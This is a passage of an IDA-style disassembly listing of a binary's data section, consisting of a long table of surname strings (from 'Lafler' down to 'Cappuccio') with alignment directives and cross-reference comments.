4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2FCo align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2F8o aLa db 'La',0 ; DATA XREF: ___:0042E2F4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2F0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2ECo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2E8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2E4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2E0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2DCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2D8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2D4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2D0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2CCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2C8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2C4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2C0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2BCo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2B8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2B4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2B0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E2ACo align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E2A8o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E2A4o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E2A0o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E29Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E298o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E294o aKling db 'Kling',0 ; DATA XREF: ___:0042E290o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E28Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E288o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E284o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E280o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E27Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E278o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E274o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E270o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E26Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E268o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E264o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E260o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E25Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E258o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E254o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E250o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E24Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E248o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E244o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E240o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E23Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E238o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E234o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E230o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E22Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E228o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E224o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E220o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E21Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E218o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E214o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E210o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E20Co align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E208o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E204o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E200o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1FCo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1F8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1F4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1F0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1ECo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1E8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1E4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1E0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1DCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1D8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1D4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1D0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1CCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1C8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1C4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1C0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1BCo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1B8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1B4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1B0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E1ACo align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E1A8o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E1A4o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E1A0o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E19Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E198o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E194o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E190o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E18Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E188o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E184o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E180o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E17Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E178o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E174o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E170o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E16Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E168o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E164o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E160o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E15Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E158o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E154o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E150o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E14Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E148o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E144o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E140o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E13Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E138o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E134o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E130o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E12Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E128o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E124o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E120o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E11Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E118o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E114o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E110o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E10Co align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E108o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E104o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E100o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0FCo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0F8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0F4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0F0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0ECo aHester db 'Hester',0 ; DATA XREF: ___:0042E0E8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0E4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0E0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0DCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0D8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0D4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0D0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0CCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0C8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0C4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0C0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0BCo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0B8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0B4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0B0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E0ACo align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E0A8o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E0A4o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E0A0o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E09Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E098o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E094o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E090o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E08Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E088o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E084o aHand db 'Hand',0 ; DATA XREF: ___:0042E080o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E07Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E078o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E074o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E070o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E06Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E068o aHaley db 'Haley',0 ; DATA XREF: ___:0042E064o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E060o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E05Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E058o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E054o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E050o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E04Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E048o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E044o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E040o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E03Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E038o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E034o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E030o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E02Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E028o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E024o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E020o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E01Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E018o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E014o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E010o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E00Co aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E008o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E004o aGist db 'Gist',0 ; DATA XREF: ___:0042E000o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFFCo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFF8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFF4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFF0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFECo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFE8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFE4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFE0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFDCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFD8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFD4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFD0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFCCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFC8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFC4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFC0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFBCo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFB8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFB4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFB0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DFACo align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DFA8o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DFA4o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DFA0o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF9Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF98o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF94o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF90o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF8Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF88o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF84o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF80o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF7Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF78o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF74o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF70o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF6Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF68o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF64o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF60o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF5Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF58o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF54o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF50o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF4Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF48o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF44o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF40o aFink db 'Fink',0 ; DATA XREF: ___:0042DF3Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF38o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF34o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF30o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF2Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF28o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF24o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF20o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF1Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF18o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF14o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF10o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DF0Co align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DF08o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DF04o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DF00o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEFCo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEF8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEF4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEF0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEECo aEverett db 'Everett',0 ; DATA XREF: ___:0042DEE8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DEE4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DEE0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DEDCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DED8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DED4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DED0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DECCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEC8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEC4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEC0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEBCo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEB8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEB4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEB0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DEACo align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DEA8o aEdward db 'Edward',0 ; DATA XREF: ___:0042DEA4o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DEA0o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE9Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE98o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE94o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE90o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE8Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE88o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE84o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE80o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE7Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE78o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE74o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE70o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE6Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE68o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE64o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE60o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE5Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE58o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE54o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE50o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE4Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE48o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE44o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE40o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE3Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE38o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE34o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE30o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE2Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE28o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE24o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE20o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE1Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE18o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE14o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE10o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DE0Co align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DE04o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DE00o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDFCo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDF8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDF4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDF0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDECo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDE4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDE0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDDCo aDavid db 'David',0 ; DATA XREF: ___:0042DDD8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDD4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDD0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDCCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDC4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDC0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDBCo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDB8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDB4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDB0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DDACo aCyders db 'Cyders',0 ; DATA XREF: ___:0042DDA8o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DDA4o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DDA0o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD9Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD98o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD94o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD90o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD8Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD88o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD84o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD80o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD7Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD78o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD74o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD70o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD6Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD68o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD64o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD60o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD58o ; ___:0042DD5Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD54o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD50o aColella db 'Colella',0 ; DATA XREF: ___:0042DD4Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD48o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD44o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD40o aClow db 'Clow',0 ; DATA XREF: ___:0042DD3Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD38o aClement db 'Clement',0 ; DATA XREF: ___:0042DD34o aClark db 'Clark',0 ; DATA XREF: ___:0042DD30o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD2Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD28o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD24o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD20o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD1Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD18o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD14o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD10o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DD0Co aChristie db 'Christie',0 ; DATA XREF: ___:0042DD08o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DD04o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DD00o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCFCo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCF8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCF4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCF0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCECo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCE8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCE4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCE0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCDCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCD8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCD4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCD0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCCCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCC8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCC4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCC0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCBCo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCB8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCB4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCB0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DCACo align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DCA8o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DCA4o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DCA0o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC9Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC98o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC94o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC90o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC8Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC88o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC84o align 4 